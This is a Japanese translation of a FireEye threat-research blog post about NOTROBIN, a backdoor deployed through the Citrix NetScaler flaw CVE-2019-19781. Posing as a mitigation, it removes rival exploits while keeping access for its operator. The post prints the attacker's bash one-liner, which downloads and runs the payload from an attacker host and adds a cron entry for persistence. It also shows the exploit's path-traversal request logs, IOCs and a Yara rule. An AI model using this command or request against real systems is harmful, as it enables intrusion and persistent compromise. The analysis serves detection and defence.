ブログ(脅威調査)

404 エクスプロイトが見つかりません:バックドアを維持しながらCitrix NetScalerの脆弱性の緩和策を展開

200 OKを約束します(CVE-2019-19781)」の記事のように、FireEye Mandiantインシデントレスポンス・チームはCVE-2019-19781の悪用に起因する侵入への対応に追われてきました。Citrixの緩和策が実装されていないCitrix ADCに対する数十件の攻撃を分析した結果、Post-exploitation活動をする複数のグループを確認しました。これらの中で、目を引くものがありました。ある特定の攻撃者が、我々が作成したコード・ファミリーNOTROBINと呼ばれる、これまで観測されたことのないペイロードを展開していました。

脆弱なNetScaler機器にアクセスすると、この攻撃者は既知のマルウェアを削除し、その後の攻撃をブロックするためにNOTROBINを展開します。しかし、NOTROBINは秘密のパスフレーズを知る人のためにバックドアのアクセスを維持しているので、すべてが想定するようにはいきません。FireEyeでは、この攻撃者が後続のキャンペーン攻撃のために、NetScalerデバイスへのアクセスを静かに収集している可能性があると考えています。

ネットワーク内部への侵入

この攻撃者は、CVE-2019-19781を使用してNetScalerデバイスを悪用し、侵害されたデバイスでシェルコマンドを実行します。Tor出口ノードからHTTP POSTリクエストを発行して、脆弱なCGIスクリプトnewbm.plにペイロードを送信します。たとえば、図1は、エクスプロイトを記録するWebサーバー・アクセス・ログ・エントリーです。

127.0.0.2 - - [12/Jan/2020:21:55:19 -0500] "POST
/vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1" 304 - "-" "curl/7.67.0"

図1:エクスプロイトを示すWebログ

他の攻撃者とは異なり、この攻撃者は、結果的にHTTP 304レスポンスを返す1つのHTTP POSTリクエストを使用して、デバイスを悪用しているように見えます。段階的なコマンドを呼び出すためのHTTP GETは観察されませんでした。残念ながら、POST本文のコンテンツを復元して、どのように機能するかを確認していません。いずれにしても、エクスプロイトは、図2に示すBashワンライナーを侵害されたシステム上で実行します。

pkill -9 netscalerd; rm /var/tmp/netscalerd; mkdir /tmp/.init; curl -k
hxxps://95.179.163[.]186/wp-content/uploads/2018/09/64d4c2d3ee56af4f4ca8171556d50faa -o
/tmp/.init/httpd; chmod 744 /tmp/.init/httpd; echo "* * * * *
/var/nstmp/.nscache/httpd" | crontab -; /tmp/.init/httpd &"

図2:Bashエクスプロイト・ペイロード

これは、「200 OKを約束します(CVE-2019-19781)」に記載した方法論と同じです。この一連のコマンドの影響には、次のものがあります。

  1. 実行中のすべてのnetscalerdインスタンス(NetScalerデバイスに展開された仮想通貨マイニング・ユーティリティに使用される共通のプロセス名)を強制終了し、削除する。
  2. 隠しステージング・ディレクトリ/tmp/.initを作成し、NOTROBINをそこにダウンロードし、実行権限を有効にする。
  3. 持続性を維持するため、cronデーモンを使って/var/nstmp/.nscache/httpdをインストールする。これは、NOTROBINが自分自身をコピーするためのパスです。
  4. 手動でNOTROBINを実行する。

ここで多くが解凍されます。注目すべき点として、攻撃者はCVE-2019-19781の脆弱性を利用して、NetScalerデバイスを標的にすることで知られるマルウェアを削除します。仮想通貨マイナーは、CPUをほぼ100%使用するプロセスを探すだけなので、一般に特定が簡単です。これらの不要なユーティリティをアンインストールすることで、攻撃者は、管理者がNetScalerデバイスへの明らかな侵害を見逃してしまう可能性を狙っています。

攻撃者はcurlを使用して、廃止されたWordPressサイトと思われるIPアドレス95.179.163[.]186を持つホスト・サーバーから、NOTROBINを取得します。FireEyeは、このサーバー上でホストされている多くのペイロードを特定しました。それぞれのペイロードは、組み込みの認証キーを先頭にした名前が付けられています。興味深いことに、FireEyeでは、複数のクライアントで同じペイロードが再利用されるのを確認したことがありません。ペイロードを分けることは、攻撃者が運用上のセキュリティを警戒していることを示します。

FireEyeでは、図3に示すようなcron syslogエントリーを復元し、NOTROBINの持続的なインストールを確認しました。これらのエントリーは、ネットワーク内部への侵入の直後に現れます。これは、NetScalerデバイスをトリアージするための安定した侵害インジケーター(IOC)です。

Jan 12 21:57:00 <cron.info> foo.netscaler /usr/sbin/cron[73531]:
(nobody) CMD (/var/nstmp/.nscache/httpd)

図3:NOTROBINの実行を示すcronログ・エントリー

次に、NOTROBINの機能に注目します。

NOTROBINの解析

NOTROBINはGo 1.10で記述され、BSD系の64ビットELFバイナリにコンパイルされたユーティリティです。ファイル名のパターンとコンテンツ特性に一致するファイルを定期的にスキャンし、削除します。その目的は、CVE-2019-19781の脆弱性に対する攻撃の試みを阻止することにあるように思われますが、FireEyeは、NOTROBINが侵害されたシステムへのバックドア・アクセスを提供すると考えています。

実行時、NOTROBINはパス/var/nstmp/.nscache/httpdから必ず実行されます。そうでない場合、ユーティリティは自身をこのパスにコピーし、新しいコピーを生成してから、自身を終了します。これにより、プロセスを/tmp/(長時間実行されるプロセスの実行が疑われる場所)からNetScaler関連の隠しディレクトリと思われる場所に移行することで、検知の隠れ蓑を提供します。

これでプロセスが開始されます。エクスプロイトを定期的にチェックするルーチンと、エクスプロイトを削除するルーチンの、2つのルーチンを生成します。

1秒ごとに、NOTROBINはディレクトリ/netscaler/portal/scripts/内で最近14日間で作成されたエントリーを検索し、ファイル名またはファイル・コンテンツにハードコードされたキー(例:64d4c2d3ee56af4f4ca8171556d50faa)が含まれていなければ、それらを削除します。オープンソースのレポートでは、一部の攻撃者が、CVE-2019-19781を悪用した後で、このディレクトリにスクリプトを書き込むことを示しています。したがって、このルーチンは、PersonalBookmark.plなどの一般に知られているペイロードのシステムを削除すると考えられます。

1秒間に8回、NOTROBINは、ディレクトリ/netscaler/portal/templates/内で.xml拡張子を持つファイルを検索します。このディレクトリは、CVE-2019-19781のエクスプロイトが攻撃者コマンドを含むテンプレートの書き込み先です。NOTROBINは、ProjectZeroIndiaエクスプロイトで見つかったような潜在的なエクスプロイト・コードに一致する可能性のある、文字列blockまたはBLOCKのいずれかを含むファイルを削除しますが、ファイル名に秘密キーを含むファイルは削除しません。

FireEyeでは、攻撃者は、侵害されたNetScalerデバイスへのバックドア・アクセスを維持しながら、CVE-2019-19781の脆弱性の悪用を阻止するためにNOTROBINを展開している、と考えています。緩和策は機能しており、NetScalerテンプレート内で見つかる準備用のエクスプロイト・コードを、それが呼び出される前に削除します。ただし、攻撃者がその後に続く攻撃時にハードコードされたキーを提供する場合、NOTROBINはペイロードを削除しません。これにより、攻撃者はその後で脆弱なデバイスにアクセスできるようになります。

多数の調査を通して、FireEyeは、攻撃者が一意のキーを持つNOTROBINを展開していることを確認しました。たとえば、異なるバイナリ・ファイルから、100個近くのキーを復元しました。これらはMD5ハッシュのように見えますが、FireEyeはどの平文にも復元できていません。複雑でユニークなキーを使用することで、他の攻撃者やFireEyeなどのサードパーティが、NOTROBINで「保護」されているNetScalerデバイスを検索することは難しくなります。この攻撃者は、強力なパスワードポリシーを持っているようです。

攻撃者は、NOTROBIN内で見つかった文字列に基づいて、キーにちなんだ名前を付けたソースコード・ファイルを使用してGoプロジェクトにキーをインジェクションしているように見えます。図4および図5は、このようなファイル名の例を示しています。

/tmp/b/.tmpl_ci/64d4c2d3ee56af4f4ca8171556d50faa.go

図4:NOTROBINから復元されたソースファイルの名称のサンプル

/root/backup/sources/d474a8de77902851f96a3b7aa2dcbb8e.go

図5:NOTROBINから復元されたソースファイルの名称のサンプル

キーを挿入してNOTROBIN亜種をビルドするために、ソースコードのテンプレート化を適用するContinuous Integrationセットアップを「tmpl_ci」が参照しているのではないかと考えています。また、元のソースを失った後で攻撃者がバックアップに戻す必要がなくなることも期待しています。

未解決の質問

NOTROBINは、UDPポート18634をリッスンしてデータを受信するバックグラウンド・ルーチンを生成しますが、データを検査せずにドロップします。このロジックを図6に示します。FireEyeでは、この動作の目的をまだ明らかにしていません。ただし、DCSOは、このポートではアクティブにできるリスナーは1つのみであるため、mutexとして使用されるとする説得力のあるケースを示しています。

図6:UDPトラフィックをドロップするNOTROBINのロジック

実装コードが削除された空の関数main.install_cronもあります。そのため、代わりに、これらはNOTROBINの初期バージョンの証拠となるかもしれません。いずれにせよ、UDPポート18634でリッスンするNetScalerデバイスは信頼できるIOCです。図7は、侵害されたNetScalerデバイスでのopenファイル・ハンドルの一覧表示の例を示しています。これには、UDP 18634でリッスンしているポートも含まれます。

図7:侵害されたNetScalerデバイスのファイル・ハンドルのリスト

NOTROBINの有効性

1つのエンゲージメントの最中に、FireEyeは、攻撃者がNOTROBINをデプロイする前後の両方で、1つのデバイスに対するNetScalerの悪用の試みをフォレンジック調査した証拠をレビューしました。1月12日以前、つまりNOTROBINがインストールされる前、FireEyeは、複数の攻撃者が攻撃を仕掛けたことを確認しました。しかし、続く3日間で、NOTROBINによって十数回の攻撃が阻止されました。言い換えると、NOTROBINは、さらなる侵害から脆弱なデバイスを保護しました。たとえば、図8には、失敗したエクスプロイトの試みを記録するログメッセージを示します。

127.0.0.2 - - [13/Jan/2020:05:09:07 -0500] "GET
/vpn/../vpns/portal/wTyaINaDVPaw8rmh.xml HTTP/1.1" 404 48 "-"
"curl/7.47.0"

図8:エクスプロイトの失敗を示すWebログ・エントリー

この攻撃者はテンプレートwTyaINaDVPaw8rmh.xmlにステージングされたペイロードを呼び出そうとするため、アプリケーション・サーバーはHTTP 404("見つかりません")を返します。NOTROBINは、不正なテンプレートが作成された直後と、他の攻撃者が使用できるようになる前に、そのテンプレートを削除しました。

FireEyeは、この攻撃者がNOTROBINバックドアに戻ってきたかどうかは、まだ確認していません。

結論

FireEyeは、NOTROBINの背後に隠れた攻撃者が、今後のキャンペーン攻撃に備えて、NetScalerデバイスを日和見的に侵害する可能性があると考えています。Citrixセキュリティ情報CTX267027を読み込んだ後に、デバイスをチェックする管理者による検知を回避するため、他の既知のマルウェアが削除される可能性があります。NOTROBINは、侵害されたデバイス上でCVE-2019-19781を緩和しますが、秘密鍵を持つ攻撃者のバックドアを維持します。攻撃者が戻ってくるのをまだ確認していませんが、インターネットを他の攻撃者から保護するロビンフッドの役割を果たせているかどうかは懐疑的です。

IOCと開示手続き

表1に、FireEyeが特定したNOTROBIN亜種に一致するインジケーターを示します。ドメインvilarunners[.]catは、NOTROBINペイロードをホストしているWordPressのサイトです。ドメインは、観察された攻撃の間に95.179.163[.]186に解決されました。1月15日現在、vilarunners[.]catドメインは現在、解決済みの新しいIPアドレス80.240.31[.]218になっています。

IOC Item

Value

HTTP URL prefix

hxxps://95[.]179.163.186/wp-content/uploads/2018/09/

Directory

/var/nstmp/.nscache

Filename

/var/nstmp/.nscache/httpd

Directory

/tmp/.init

Filename

/tmp/.init/httpd

Crontab entry

/var/nstmp/.nscache/httpd

Listening UDP port

18634

Remote IP

95.179.163[.]186

Remote IP

80.240.31[.]218

Domain

vilarunners[.]cat

表1:IOC

VirusTotalの検出

次のVTIクエリーを使用すれば、VirusTotalでNOTROBIN亜種を特定できます。

  • vhash:"73cee1e8e1c3265c8f836516c53ae042"
  • vhash:"e57a7713cdf89a2f72c6526549d22987"

vHashの実装は非公開であるため、このテクニックが機能する理由を確認することはできません。実際には、vHashesは、図9にリストされているYaraルールによって特定された同じ亜種と一致します。

rule NOTROBIN

{

    meta:

        author = "william.ballenthin@fireeye.com"

        date_created = "2020-01-15"

    strings:

        $func_name_1 = "main.remove_bds"

        $func_name_2 = "main.xrun"

    condition:

        all of them

}

図9:NOTROBIN亜種に一致するYaraルール

復元された認証キー

FireEyeは、NOTROBIN亜種から、攻撃者が侵害された環境に再侵入するために使用していた可能性のある約100個のハードコードされたキーを特定しました。これらの文字列は、ファイル名またはペイロードのコンテンツのいずれかとして、その後のエクスプロイトの試みで見つかる可能性があります。FireEyeではお客様の懸念からこれらを公開しませんが、お客様の環境内でNOTROBINを探索している場合はお問い合わせください。リストを提供いたします。

謝辞

痕跡の収集と解釈に協力してくれたBrandan Schondorfer、解析を整理してくれたSteven Miller、インテリジェンス・リードをまとめてくれたEvan Reese、技術面でレビューしてくれたChris Glyer、NOTROBINサンプルをリバース・エンジニアリングしてくれたMoritz Raabe、プレゼンテーションと結論を洗練してくれたAshley Frazerなど、現在この攻撃に対応しているFireEyeのすべてのアナリストに感謝します。

 

本ブログは、米FireEyeが公開した January 16, 2020「404 Exploit Not Found: Vigilante Deploying Mitigation for Citrix NetScaler Vulnerability While Maintaining Backdoor」(英語)の日本語抄訳版です。

日本語版:Reviewed by Ayako Matsuda